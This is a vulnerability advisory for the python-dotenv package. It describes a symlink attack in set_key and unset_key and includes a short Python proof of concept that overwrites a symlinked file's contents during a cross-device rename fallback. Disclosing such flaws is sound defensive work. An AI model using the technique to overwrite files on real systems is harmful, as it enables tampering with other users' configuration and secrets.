Affected versions of this package are vulnerable to Symlink Attack via the set_key and unset_key() functions. An attacker can overwrite arbitrary files by creating a crafted symbolic link that is followed during a cross-device rename fallback.
PoC
import os
import sys
import tempfile
from dotenv import set_key
# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"
with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
# File an attacker wants to overwrite
target = os.path.join(workdir, "victim_config.txt")
with open(target, "w") as f:
f.write("DB_PASSWORD=supersecret\n")
# Attacker pre-places a symlink at the path the application will use as .env
env_symlink = os.path.join(workdir, ".env")
os.symlink(target, env_symlink)
before = open(target).read()
# Application writes a new key -- triggers the cross-device fallback
set_key(env_symlink, "INJECTED", "attacker_value")
after = open(target).read()
print("Before:", repr(before))
print("After: ", repr(after))
print("Symlink target overwritten:", target)